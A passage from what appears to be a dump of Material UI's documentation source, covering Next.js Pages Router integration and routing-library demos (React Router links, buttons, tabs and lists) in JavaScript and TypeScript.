Next.js [Pages Router](https://nextjs.org/docs/pages/building-your-application), for both [Server-side Rendering](https://nextjs.org/docs/pages/building-your-application/rendering/server-side-rendering) (SSR) and [Static Site Generation](https://nextjs.org/docs/pages/building-your-application/rendering/static-site-generation) (SSG).\n\n### Installing the dependencies\n\nStart by ensuring that you already have `@mui/material` and `next` installed.\nThen, run one of the following commands to install the dependencies:\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @mui/material-nextjs @emotion/cache @emotion/server\n```\n\n```bash pnpm\npnpm add @mui/material-nextjs @emotion/cache @emotion/server\n```\n\n```bash yarn\nyarn add @mui/material-nextjs @emotion/cache @emotion/server\n```\n\n</codeblock>\n\n### Configuration\n\nInside the `pages/_document.tsx` file:\n\n- Import `documentGetInitialProps` and use it as the Document's `getInitialProps`.\n- Import `DocumentHeadTags` and render it inside the `<Head>`.\n\n```diff title=\"pages/_document.tsx\"\n+import {\n+  DocumentHeadTags,\n+  documentGetInitialProps,\n+} from '@mui/material-nextjs/v15-pagesRouter';\n // or `v1X-pagesRouter` if you are using Next.js v1X\n\n export default function MyDocument(props) {\n   return (\n     <Html lang=\"en\">\n       <Head>\n+        <DocumentHeadTags {...props} />\n         ...\n       </Head>\n       <body>\n         <Main />\n         <NextScript />\n       </body>\n     </Html>\n   );\n }\n\n+MyDocument.getInitialProps = async (ctx) => {\n+  const finalProps = await documentGetInitialProps(ctx);\n+  return finalProps;\n+};\n```\n\nThen, inside `pages/_app.tsx`, import the `AppCacheProvider` component and render it as the root element:\n\n```diff title=\"pages/_app.tsx\"\n+import { AppCacheProvider } from '@mui/material-nextjs/v15-pagesRouter';\n // Or `v1X-pages` if you are using Next.js v1X\n\n export default function MyApp(props) {\n   return (\n+    <AppCacheProvider {...props}>\n       <Head>\n         ...\n       </Head>\n       ...\n+    </AppCacheProvider>\n   );\n }\n```\n\n:::info\nThe `AppCacheProvider` component is responsible for collecting the CSS generated by MUI System on the server, as Next.js is rendering the .html page to the client.\n\nWhile it's not required to use the `AppCacheProvider` component, it's recommended to use it to ensure that the styles are appended to the `<head>` and not rendering in the `<body>`.\nSee https://github.com/mui/material-ui/issues/26561#issuecomment-855286153 for why it's better.\n:::\n\n#### Custom cache (optional)\n\nTo use a custom [Emotion cache](https://emotion.sh/docs/@emotion/cache), pass it to the `emotionCache` property in `_document.tsx`:\n\n```diff title=\"pages/_document.tsx\"\n ...\n\n MyDocument.getInitialProps = async (ctx) => {\n   const finalProps = await documentGetInitialProps(ctx, {\n+    emotionCache: createCustomCache(),\n   });\n   return finalProps;\n };\n```\n\n#### Cascade layers (optional)\n\nTo enable [cascade layers](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/Cascade_layers) (`@layer`), create a new cache with `enableCssLayer: true` and pass it to the `emotionCache` property in both `_document.tsx` and `_app.tsx`:\n\n```diff title=\"pages/_document.tsx\"\n+import { createEmotionCache } from '@mui/material-nextjs/v15-pagesRouter';\n ...\n\n MyDocument.getInitialProps = async (ctx) => {\n   const finalProps = await documentGetInitialProps(ctx, {\n+    emotionCache: createEmotionCache({ enableCssLayer: true }),\n   });\n   return finalProps;\n };\n```\n\n```diff title=\"pages/_app.tsx\"\n+import { createEmotionCache } from '@mui/material-nextjs/v15-pagesRouter';\n  ...\n\nconst clientCache = createEmotionCache({ enableCssLayer: true });\n\n+ export default function MyApp({ emotionCache = clientCache }) {\n    return (\n+     <AppCacheProvider emotionCache={emotionCache}>\n        <Head>\n          ...\n        </Head>\n        ...\n      </AppCacheProvider>\n    );\n  }\n```\n\n#### App enhancement (optional)\n\nPass an array to the `plugins` property to enhance the app with additional features, like server-side-rendered styles if you're using JSS and styled-components.\n\nEach plugin must have the following properties:\n\n- `enhanceApp`: a higher-order component that receives the `App` component and returns a new app component.\n- `resolveProps`: a function that receives the initial props and returns a new props object.\n\nWhen run, `enhanceApp` from each plugin is called first, from top to bottom, and then the process is repeated for `resolveProps`.\n\n```js\nimport { ServerStyleSheet } from 'styled-components';\n\nMyDocument.getInitialProps = async (ctx) => {\n  const jssSheets = new JSSServerStyleSheets();\n  const styledComponentsSheet = new ServerStyleSheet();\n\n  try {\n    const finalProps = await documentGetInitialProps(ctx, {\n      emotionCache: createEmotionCache(),\n      plugins: [\n        {\n          // styled-components\n          enhanceApp: (App) => (props) =>\n            styledComponentsSheet.collectStyles(<App {...props} />),\n          resolveProps: async (initialProps) => ({\n            ...initialProps,\n            styles: [\n              styledComponentsSheet.getStyleElement(),\n              ...initialProps.styles,\n            ],\n          }),\n        },\n        {\n          // JSS\n          enhanceApp: (App) => (props) => jssSheets.collect(<App {...props} />),\n          resolveProps: async (initialProps) => {\n            const css = jssSheets.toString();\n            return {\n              ...initialProps,\n              styles: [\n                ...initialProps.styles,\n                <style\n                  id=\"jss-server-side\"\n                  key=\"jss-server-side\"\n                  // eslint-disable-next-line react/no-danger\n                  dangerouslySetInnerHTML={{ __html: css }}\n                />,\n                <style id=\"insertion-point-jss\" key=\"insertion-point-jss\" />,\n              ],\n            };\n          },\n        },\n      ],\n    });\n    return finalProps;\n  } finally {\n    styledComponentsSheet.seal();\n  }\n};\n```\n\n### TypeScript\n\nIf you are using TypeScript, add `DocumentHeadTagsProps` to the Document's props interface:\n\n```diff\n+import type { DocumentHeadTagsProps } from '@mui/material-nextjs/v15-pagesRouter';\n // or `v1X-pagesRouter` if you are using Next.js v1X\n\n+export default function MyDocument(props: DocumentProps & DocumentHeadTagsProps) {\n   ...\n }\n```\n\n### Font optimization\n\nTo integrate [Next.js font optimization](https://nextjs.org/docs/pages/getting-started/fonts) with Material UI, open `pages/_app.tsx` and create a theme using `var(--font-roboto)` as a value for the `typography.fontFamily` field.\n\n```diff title=\"pages/_app.tsx\"\n import * as React from 'react';\n import Head from 'next/head';\n import { AppProps } from 'next/app';\n import { AppCacheProvider } from '@mui/material-nextjs/v15-pagesRouter';\n+import { ThemeProvider, createTheme } from '@mui/material/styles';\n+import { Roboto } from 'next/font/google';\n\n+const roboto = Roboto({\n+  weight: ['300', '400', '500', '700'],\n+  subsets: ['latin'],\n+  display: 'swap',\n+  variable: '--font-roboto',\n+});\n\n+const theme = createTheme({\n+  typography: {\n+    fontFamily: 'var(--font-roboto)',\n+  },\n+});\n\n export default function MyApp(props: AppProps) {\n  const { Component, pageProps } = props;\n  return (\n    <AppCacheProvider {...props}>\n      <Head>...</Head>\n+     <ThemeProvider theme={theme}>\n+       <main className={roboto.variable}>\n          <Component {...pageProps} />\n+       </main>\n+     </ThemeProvider>\n    </AppCacheProvider>\n  );\n }\n```\n\nTo learn more about theming, check out the [Theming guide](/material-ui/customization/theming/).\n\n### CSS theme variables\n\nTo use [CSS theme variables](/material-ui/customization/css-theme-variables/overview/), enable the `cssVariables` flag:\n\n```diff title=\"src/theme.ts\"\n 'use client';\n const theme = createTheme({\n+  cssVariables: true,\n });\n```\n\nLearn more about [the advantages of CSS theme variables](/material-ui/customization/css-theme-variables/overview/#advantages) and how to [prevent SSR flickering](/material-ui/customization/css-theme-variables/configuration/#preventing-ssr-flickering).\n"
  },
  {
    "path": "docs/data/material/integrations/routing/ButtonDemo.js",
    "content": "import Button from '@mui/material/Button';\n\nexport default function ButtonDemo() {\n  return (\n    <Button href=\"/\" variant=\"contained\">\n      Link\n    </Button>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/ButtonDemo.tsx",
    "content": "import Button from '@mui/material/Button';\n\nexport default function ButtonDemo() {\n  return (\n    <Button href=\"/\" variant=\"contained\">\n      Link\n    </Button>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/ButtonDemo.tsx.preview",
    "content": "<Button href=\"/\" variant=\"contained\">\n  Link\n</Button>"
  },
  {
    "path": "docs/data/material/integrations/routing/ButtonRouter.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { Link as RouterLink, MemoryRouter, StaticRouter } from 'react-router';\nimport Button from '@mui/material/Button';\n\nconst LinkBehavior = React.forwardRef((props, ref) => (\n  <RouterLink ref={ref} to=\"/\" {...props} role={undefined} />\n));\n\nfunction Router(props) {\n  const { children } = props;\n  if (typeof window === 'undefined') {\n    return <StaticRouter location=\"/\">{children}</StaticRouter>;\n  }\n\n  return <MemoryRouter>{children}</MemoryRouter>;\n}\n\nRouter.propTypes = {\n  children: PropTypes.node,\n};\n\nexport default function ButtonRouter() {\n  return (\n    <div>\n      <Router>\n        <Button component={RouterLink} to=\"/\">\n          With prop forwarding\n        </Button>\n        <br />\n        <Button component={LinkBehavior}>With inlining</Button>\n      </Router>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/ButtonRouter.tsx",
    "content": "import * as React from 'react';\nimport {\n  Link as RouterLink,\n  LinkProps as RouterLinkProps,\n  MemoryRouter,\n  StaticRouter,\n} from 'react-router';\nimport Button from '@mui/material/Button';\n\nconst LinkBehavior = React.forwardRef<any, Omit<RouterLinkProps, 'to'>>(\n  (props, ref) => <RouterLink ref={ref} to=\"/\" {...props} role={undefined} />,\n);\n\nfunction Router(props: { children?: React.ReactNode }) {\n  const { children } = props;\n  if (typeof window === 'undefined') {\n    return <StaticRouter location=\"/\">{children}</StaticRouter>;\n  }\n\n  return <MemoryRouter>{children}</MemoryRouter>;\n}\n\nexport default function ButtonRouter() {\n  return (\n    <div>\n      <Router>\n        <Button component={RouterLink} to=\"/\">\n          With prop forwarding\n        </Button>\n        <br />\n        <Button component={LinkBehavior}>With inlining</Button>\n      </Router>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/ButtonRouter.tsx.preview",
    "content": "<Router>\n  <Button component={RouterLink} to=\"/\">\n    With prop forwarding\n  </Button>\n  <br />\n  <Button component={LinkBehavior}>With inlining</Button>\n</Router>"
  },
  {
    "path": "docs/data/material/integrations/routing/LinkDemo.js",
    "content": "import Link from '@mui/material/Link';\nimport Box from '@mui/material/Box';\n\nexport default function LinkDemo() {\n  return (\n    <Box sx={{ typography: 'body1' }}>\n      <Link href=\"/\">Link</Link>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/LinkDemo.tsx",
    "content": "import Link from '@mui/material/Link';\nimport Box from '@mui/material/Box';\n\nexport default function LinkDemo() {\n  return (\n    <Box sx={{ typography: 'body1' }}>\n      <Link href=\"/\">Link</Link>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/LinkDemo.tsx.preview",
    "content": "<Link href=\"/\">Link</Link>"
  },
  {
    "path": "docs/data/material/integrations/routing/LinkRouter.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { Link as RouterLink, MemoryRouter, StaticRouter } from 'react-router';\nimport Link from '@mui/material/Link';\nimport Box from '@mui/material/Box';\n\nconst LinkBehavior = React.forwardRef((props, ref) => (\n  <RouterLink ref={ref} to=\"/material-ui/getting-started/installation/\" {...props} />\n));\n\nfunction Router(props) {\n  const { children } = props;\n  if (typeof window === 'undefined') {\n    return <StaticRouter location=\"/\">{children}</StaticRouter>;\n  }\n\n  return <MemoryRouter>{children}</MemoryRouter>;\n}\n\nRouter.propTypes = {\n  children: PropTypes.node,\n};\n\nexport default function LinkRouter() {\n  return (\n    <Box sx={{ typography: 'body1' }}>\n      <Router>\n        <Link component={RouterLink} to=\"/\">\n          With prop forwarding\n        </Link>\n        <br />\n        <Link component={LinkBehavior}>Without prop forwarding</Link>\n      </Router>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/LinkRouter.tsx",
    "content": "import * as React from 'react';\nimport {\n  Link as RouterLink,\n  LinkProps as RouterLinkProps,\n  MemoryRouter,\n  StaticRouter,\n} from 'react-router';\nimport Link from '@mui/material/Link';\nimport Box from '@mui/material/Box';\n\nconst LinkBehavior = React.forwardRef<any, Omit<RouterLinkProps, 'to'>>(\n  (props, ref) => (\n    <RouterLink\n      ref={ref}\n      to=\"/material-ui/getting-started/installation/\"\n      {...props}\n    />\n  ),\n);\n\nfunction Router(props: { children?: React.ReactNode }) {\n  const { children } = props;\n  if (typeof window === 'undefined') {\n    return <StaticRouter location=\"/\">{children}</StaticRouter>;\n  }\n\n  return <MemoryRouter>{children}</MemoryRouter>;\n}\n\nexport default function LinkRouter() {\n  return (\n    <Box sx={{ typography: 'body1' }}>\n      <Router>\n        <Link component={RouterLink} to=\"/\">\n          With prop forwarding\n        </Link>\n        <br />\n        <Link component={LinkBehavior}>Without prop forwarding</Link>\n      </Router>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/LinkRouter.tsx.preview",
    "content": "<Router>\n  <Link component={RouterLink} to=\"/\">\n    With prop forwarding\n  </Link>\n  <br />\n  <Link component={LinkBehavior}>Without prop forwarding</Link>\n</Router>"
  },
  {
    "path": "docs/data/material/integrations/routing/LinkRouterWithTheme.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { Link as RouterLink, MemoryRouter, StaticRouter } from 'react-router';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\nimport Link from '@mui/material/Link';\n\nconst LinkBehavior = React.forwardRef((props, ref) => {\n  const { href, ...other } = props;\n  // Map href (MUI) -> to (react-router)\n  return <RouterLink data-testid=\"custom-link\" ref={ref} to={href} {...other} />;\n});\n\nLinkBehavior.propTypes = {\n  href: PropTypes.oneOfType([\n    PropTypes.shape({\n      hash: PropTypes.string,\n      pathname: PropTypes.string,\n      search: PropTypes.string,\n    }),\n    PropTypes.string,\n  ]).isRequired,\n};\n\nfunction Router(props) {\n  const { children } = props;\n  if (typeof window === 'undefined') {\n    return <StaticRouter location=\"/\">{children}</StaticRouter>;\n  }\n\n  return <MemoryRouter>{children}</MemoryRouter>;\n}\n\nRouter.propTypes = {\n  children: PropTypes.node,\n};\n\nconst theme = createTheme({\n  components: {\n    MuiLink: {\n      defaultProps: {\n        component: LinkBehavior,\n      },\n    },\n    MuiButtonBase: {\n      defaultProps: {\n        LinkComponent: LinkBehavior,\n      },\n    },\n  },\n});\n\nexport default function LinkRouterWithTheme() {\n  return (\n    <Stack spacing={1} sx={{ alignItems: 'center', typography: 'body1' }}>\n      <ThemeProvider theme={theme}>\n        <Router>\n          <Link href=\"/\">Link</Link>\n          <Button href=\"/\" variant=\"contained\">\n            Link\n          </Button>\n        </Router>\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/LinkRouterWithTheme.tsx",
    "content": "import * as React from 'react';\nimport {\n  Link as RouterLink,\n  LinkProps as RouterLinkProps,\n  MemoryRouter,\n  StaticRouter,\n} from 'react-router';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\nimport Link, { LinkProps } from '@mui/material/Link';\n\nconst LinkBehavior = React.forwardRef<\n  HTMLAnchorElement,\n  Omit<RouterLinkProps, 'to'> & { href: RouterLinkProps['to'] }\n>((props, ref) => {\n  const { href, ...other } = props;\n  // Map href (MUI) -> to (react-router)\n  return <RouterLink data-testid=\"custom-link\" ref={ref} to={href} {...other} />;\n});\n\nfunction Router(props: { children?: React.ReactNode }) {\n  const { children } = props;\n  if (typeof window === 'undefined') {\n    return <StaticRouter location=\"/\">{children}</StaticRouter>;\n  }\n\n  return <MemoryRouter>{children}</MemoryRouter>;\n}\n\nconst theme = createTheme({\n  components: {\n    MuiLink: {\n      defaultProps: {\n        component: LinkBehavior,\n      } as LinkProps,\n    },\n    MuiButtonBase: {\n      defaultProps: {\n        LinkComponent: LinkBehavior,\n      },\n    },\n  },\n});\n\nexport default function LinkRouterWithTheme() {\n  return (\n    <Stack spacing={1} sx={{ alignItems: 'center', typography: 'body1' }}>\n      <ThemeProvider theme={theme}>\n        <Router>\n          <Link href=\"/\">Link</Link>\n          <Button href=\"/\" variant=\"contained\">\n            Link\n          </Button>\n        </Router>\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/LinkRouterWithTheme.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Router>\n    <Link href=\"/\">Link</Link>\n    <Button href=\"/\" variant=\"contained\">\n      Link\n    </Button>\n  </Router>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/integrations/routing/ListRouter.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport Box from '@mui/material/Box';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport Paper from '@mui/material/Paper';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Divider from '@mui/material/Divider';\nimport InboxIcon from '@mui/icons-material/Inbox';\nimport DraftsIcon from '@mui/icons-material/Drafts';\nimport Typography from '@mui/material/Typography';\nimport {\n  Link,\n  Route,\n  Routes,\n  MemoryRouter,\n  useLocation,\n  StaticRouter,\n} from 'react-router';\n\nfunction Router(props) {\n  const { children } = props;\n  if (typeof window === 'undefined') {\n    return <StaticRouter location=\"/drafts\">{children}</StaticRouter>;\n  }\n\n  return (\n    <MemoryRouter initialEntries={['/drafts']} initialIndex={0}>\n      {children}\n    </MemoryRouter>\n  );\n}\n\nRouter.propTypes = {\n  children: PropTypes.node,\n};\n\nfunction ListItemLink(props) {\n  const { icon, primary, to } = props;\n\n  return (\n    <ListItemButton component={Link} to={to}>\n      {icon ? <ListItemIcon>{icon}</ListItemIcon> : null}\n      <ListItemText primary={primary} />\n    </ListItemButton>\n  );\n}\n\nListItemLink.propTypes = {\n  icon: PropTypes.element,\n  primary: PropTypes.string.isRequired,\n  to: PropTypes.string.isRequired,\n};\n\nfunction Content() {\n  const location = useLocation();\n  return (\n    <Typography variant=\"body2\" sx={{ color: 'text.secondary', pb: 2 }}>\n      Current route: {location.pathname}\n    </Typography>\n  );\n}\n\nexport default function ListRouter() {\n  return (\n    <Router>\n      <Box sx={{ width: 360 }}>\n        <Routes>\n          <Route path=\"*\" element={<Content />} />\n        </Routes>\n\n        <Paper elevation={0}>\n          <List aria-label=\"main mailbox folders\">\n            <ListItem disablePadding>\n              <ListItemLink to=\"/inbox\" primary=\"Inbox\" icon={<InboxIcon />} />\n            </ListItem>\n            <ListItem disablePadding>\n              <ListItemLink to=\"/drafts\" primary=\"Drafts\" icon={<DraftsIcon />} />\n            </ListItem>\n          </List>\n          <Divider />\n          <List aria-label=\"secondary mailbox folders\">\n            <ListItem disablePadding>\n              <ListItemLink to=\"/trash\" primary=\"Trash\" />\n            </ListItem>\n            <ListItem disablePadding>\n              <ListItemLink to=\"/spam\" primary=\"Spam\" />\n            </ListItem>\n          </List>\n        </Paper>\n      </Box>\n    </Router>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/ListRouter.tsx",
    "content": "import * as React from 'react';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport Box from '@mui/material/Box';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport Paper from '@mui/material/Paper';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Divider from '@mui/material/Divider';\nimport InboxIcon from '@mui/icons-material/Inbox';\nimport DraftsIcon from '@mui/icons-material/Drafts';\nimport Typography from '@mui/material/Typography';\nimport {\n  Link,\n  Route,\n  Routes,\n  MemoryRouter,\n  useLocation,\n  StaticRouter,\n} from 'react-router';\n\nfunction Router(props: { children?: React.ReactNode }) {\n  const { children } = props;\n  if (typeof window === 'undefined') {\n    return <StaticRouter location=\"/drafts\">{children}</StaticRouter>;\n  }\n\n  return (\n    <MemoryRouter initialEntries={['/drafts']} initialIndex={0}>\n      {children}\n    </MemoryRouter>\n  );\n}\n\ninterface ListItemLinkProps {\n  icon?: React.ReactElement<unknown>;\n  primary: string;\n  to: string;\n}\n\nfunction ListItemLink(props: ListItemLinkProps) {\n  const { icon, primary, to } = props;\n\n  return (\n    <ListItemButton component={Link} to={to}>\n      {icon ? <ListItemIcon>{icon}</ListItemIcon> : null}\n      <ListItemText primary={primary} />\n    </ListItemButton>\n  );\n}\n\nfunction Content() {\n  const location = useLocation();\n  return (\n    <Typography variant=\"body2\" sx={{ color: 'text.secondary', pb: 2 }}>\n      Current route: {location.pathname}\n    </Typography>\n  );\n}\n\nexport default function ListRouter() {\n  return (\n    <Router>\n      <Box sx={{ width: 360 }}>\n        <Routes>\n          <Route path=\"*\" element={<Content />} />\n        </Routes>\n\n        <Paper elevation={0}>\n          <List aria-label=\"main mailbox folders\">\n            <ListItem disablePadding>\n              <ListItemLink to=\"/inbox\" primary=\"Inbox\" icon={<InboxIcon />} />\n            </ListItem>\n            <ListItem disablePadding>\n              <ListItemLink to=\"/drafts\" primary=\"Drafts\" icon={<DraftsIcon />} />\n            </ListItem>\n          </List>\n          <Divider />\n          <List aria-label=\"secondary mailbox folders\">\n            <ListItem disablePadding>\n              <ListItemLink to=\"/trash\" primary=\"Trash\" />\n            </ListItem>\n            <ListItem disablePadding>\n              <ListItemLink to=\"/spam\" primary=\"Spam\" />\n            </ListItem>\n          </List>\n        </Paper>\n      </Box>\n    </Router>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/TabsRouter.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Typography from '@mui/material/Typography';\nimport {\n  MemoryRouter,\n  Route,\n  Routes,\n  Link,\n  matchPath,\n  useLocation,\n  StaticRouter,\n} from 'react-router';\n\nfunction Router(props) {\n  const { children } = props;\n  if (typeof window === 'undefined') {\n    return <StaticRouter location=\"/drafts\">{children}</StaticRouter>;\n  }\n\n  return (\n    <MemoryRouter initialEntries={['/drafts']} initialIndex={0}>\n      {children}\n    </MemoryRouter>\n  );\n}\n\nRouter.propTypes = {\n  children: PropTypes.node,\n};\n\nfunction useRouteMatch(patterns) {\n  const { pathname } = useLocation();\n\n  for (let i = 0; i < patterns.length; i += 1) {\n    const pattern = patterns[i];\n    const possibleMatch = matchPath(pattern, pathname);\n    if (possibleMatch !== null) {\n      return possibleMatch;\n    }\n  }\n\n  return null;\n}\n\nfunction MyTabs() {\n  // You need to provide the routes in descendant order.\n  // This means that if you have nested routes like:\n  // users, users/new, users/edit.\n  // Then the order should be ['users/add', 'users/edit', 'users'].\n  const routeMatch = useRouteMatch(['/inbox/:id', '/drafts', '/trash']);\n  const currentTab = routeMatch?.pattern?.path;\n\n  return (\n    <Tabs value={currentTab}>\n      <Tab label=\"Inbox\" value=\"/inbox/:id\" to=\"/inbox/1\" component={Link} />\n      <Tab label=\"Drafts\" value=\"/drafts\" to=\"/drafts\" component={Link} />\n      <Tab label=\"Trash\" value=\"/trash\" to=\"/trash\" component={Link} />\n    </Tabs>\n  );\n}\n\nfunction CurrentRoute() {\n  const location = useLocation();\n\n  return (\n    <Typography variant=\"body2\" sx={{ color: 'text.secondary', pb: 2 }}>\n      Current route: {location.pathname}\n    </Typography>\n  );\n}\n\nexport default function TabsRouter() {\n  return (\n    <Router>\n      <Box sx={{ width: '100%' }}>\n        <Routes>\n          <Route path=\"*\" element={<CurrentRoute />} />\n        </Routes>\n        <MyTabs />\n      </Box>\n    </Router>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/TabsRouter.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Typography from '@mui/material/Typography';\nimport {\n  MemoryRouter,\n  Route,\n  Routes,\n  Link,\n  matchPath,\n  useLocation,\n  StaticRouter,\n} from 'react-router';\n\nfunction Router(props: { children?: React.ReactNode }) {\n  const { children } = props;\n  if (typeof window === 'undefined') {\n    return <StaticRouter location=\"/drafts\">{children}</StaticRouter>;\n  }\n\n  return (\n    <MemoryRouter initialEntries={['/drafts']} initialIndex={0}>\n      {children}\n    </MemoryRouter>\n  );\n}\n\nfunction useRouteMatch(patterns: readonly string[]) {\n  const { pathname } = useLocation();\n\n  for (let i = 0; i < patterns.length; i += 1) {\n    const pattern = patterns[i];\n    const possibleMatch = matchPath(pattern, pathname);\n    if (possibleMatch !== null) {\n      return possibleMatch;\n    }\n  }\n\n  return null;\n}\n\nfunction MyTabs() {\n  // You need to provide the routes in descendant order.\n  // This means that if you have nested routes like:\n  // users, users/new, users/edit.\n  // Then the order should be ['users/add', 'users/edit', 'users'].\n  const routeMatch = useRouteMatch(['/inbox/:id', '/drafts', '/trash']);\n  const currentTab = routeMatch?.pattern?.path;\n\n  return (\n    <Tabs value={currentTab}>\n      <Tab label=\"Inbox\" value=\"/inbox/:id\" to=\"/inbox/1\" component={Link} />\n      <Tab label=\"Drafts\" value=\"/drafts\" to=\"/drafts\" component={Link} />\n      <Tab label=\"Trash\" value=\"/trash\" to=\"/trash\" component={Link} />\n    </Tabs>\n  );\n}\n\nfunction CurrentRoute() {\n  const location = useLocation();\n\n  return (\n    <Typography variant=\"body2\" sx={{ color: 'text.secondary', pb: 2 }}>\n      Current route: {location.pathname}\n    </Typography>\n  );\n}\n\nexport default function TabsRouter() {\n  return (\n    <Router>\n      <Box sx={{ width: '100%' }}>\n        <Routes>\n          <Route path=\"*\" element={<CurrentRoute />} />\n        </Routes>\n        <MyTabs />\n      </Box>\n    </Router>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/routing/TabsRouter.tsx.preview",
    "content": "<Router>\n  <Box sx={{ width: '100%' }}>\n    <Routes>\n      <Route path=\"*\" element={<CurrentRoute />} />\n    </Routes>\n    <MyTabs />\n  </Box>\n</Router>"
  },
  {
    "path": "docs/data/material/integrations/routing/routing.md",
    "content": "# Routing libraries\n\n<p class=\"description\">By default, the navigation is performed with a native &lt;a&gt; element. You can customize it, for instance, using Next.js's Link or react-router.</p>\n\n## Navigation components\n\nThere are two main components available to perform navigations.\nThe most common one is the [`Link`](/material-ui/react-link/) as its name might suggest.\nIt renders a native `<a>` element and applies the `href` as an attribute.\n\n{{\"demo\": \"LinkDemo.js\"}}\n\nYou can also make a button perform navigation actions.\nIf your component is extending [`ButtonBase`](/material-ui/api/button-base/), providing a `href` prop enables the link mode.\nFor instance, with a `Button` component:\n\n{{\"demo\": \"ButtonDemo.js\"}}\n\n## Global theme Link\n\nIn real-life applications, using a native `<a>` element is rarely enough.\nYou can improve the user experience by using an enhanced Link component systematically.\nThe Material UI theme lets you configure this component once.\nFor instance, with react-router:\n\n```tsx\nimport { Link as RouterLink, LinkProps as RouterLinkProps } from 'react-router';\nimport { LinkProps } from '@mui/material/Link';\n\nconst LinkBehavior = React.forwardRef<\n  HTMLAnchorElement,\n  Omit<RouterLinkProps, 'to'> & { href: RouterLinkProps['to'] }\n>((props, ref) => {\n  const { href, ...other } = props;\n  // Map href (Material UI) -> to (react-router)\n  return <RouterLink ref={ref} to={href} {...other} />;\n});\n\nconst theme = createTheme({\n  components: {\n    MuiLink: {\n      defaultProps: {\n        component: LinkBehavior,\n      } as LinkProps,\n    },\n    MuiButtonBase: {\n      defaultProps: {\n        LinkComponent: LinkBehavior,\n      },\n    },\n  },\n});\n```\n\n{{\"demo\": \"LinkRouterWithTheme.js\", \"defaultCodeOpen\": false}}\n\n:::warning\nThis approach has limitations with TypeScript.\nThe `href` prop only accepts a string.\nIn the event you need to provide a richer structure, see the next section.\n:::\n\n## `component` prop\n\nYou can achieve the integration with third-party routing libraries with the `component` prop.\nYou can learn more about this prop in the **[composition guide](/material-ui/guides/composition/#component-prop)**.\n\n## React Router examples\n\nHere are a few demos with the [Link component](https://reactrouter.com/start/declarative/navigating#link) of [React Router](https://github.com/remix-run/react-router).\nYou can apply the same strategy with all the components: BottomNavigation, Card, etc.\n\n### Link\n\n{{\"demo\": \"LinkRouter.js\"}}\n\n### Button\n\n{{\"demo\": \"ButtonRouter.js\"}}\n\n**Note**: The button base component adds the `role=\"button\"` attribute when it identifies the intent to render a button without a native `<button>` element.\nThis can create issues when rendering a link.\nIf you are not using one of the `href`, `to`, or `component=\"a\"` props, you need to override the `role` attribute.\nThe above demo achieves this by setting `role={undefined}` **after** the spread props.\n\n```jsx\nconst LinkBehavior = React.forwardRef((props, ref) => (\n  <RouterLink ref={ref} to=\"/\" {...props} role={undefined} />\n));\n```\n\n### Tabs\n\n{{\"demo\": \"TabsRouter.js\", \"defaultCodeOpen\": false}}\n\n### List\n\n{{\"demo\": \"ListRouter.js\"}}\n\n## More examples\n\n### Next.js Pages Router\n\nThe [example folder](https://github.com/mui/material-ui/tree/HEAD/examples/material-ui-nextjs-pages-router-ts) provides an adapter for the use of [Next.js's Link component](https://nextjs.org/docs/pages/api-reference/components/link) with Material UI.\n\n- The first version of the adapter is the [`NextLinkComposed`](https://github.com/mui/material-ui/blob/-/examples/material-ui-nextjs-pages-router-ts/src/Link.tsx) component.\n  This component is unstyled and only responsible for handling the navigation.\n  The prop `href` was renamed `to` to avoid a naming conflict.\n  This is similar to react-router's Link component.\n\n  ```tsx\n  import Button from '@mui/material/Button';\n  import { NextLinkComposed } from '../src/Link';\n\n  export default function Index() {\n    return (\n      <Button\n        component={NextLinkComposed}\n        to={{\n          pathname: '/about',\n          query: { name: 'test' },\n        }}\n      >\n        Button link\n      </Button>\n    );\n  }\n  ```\n\n- The second version of the adapter is the `Link` component.\n  This component is styled.\n  It uses the [Material UI Link component](/material-ui/react-link/) with `NextLinkComposed`.\n\n  ```tsx\n  import Link from '../src/Link';\n\n  export default function Index() {\n    return (\n      <Link\n        href={{\n          pathname: '/about',\n          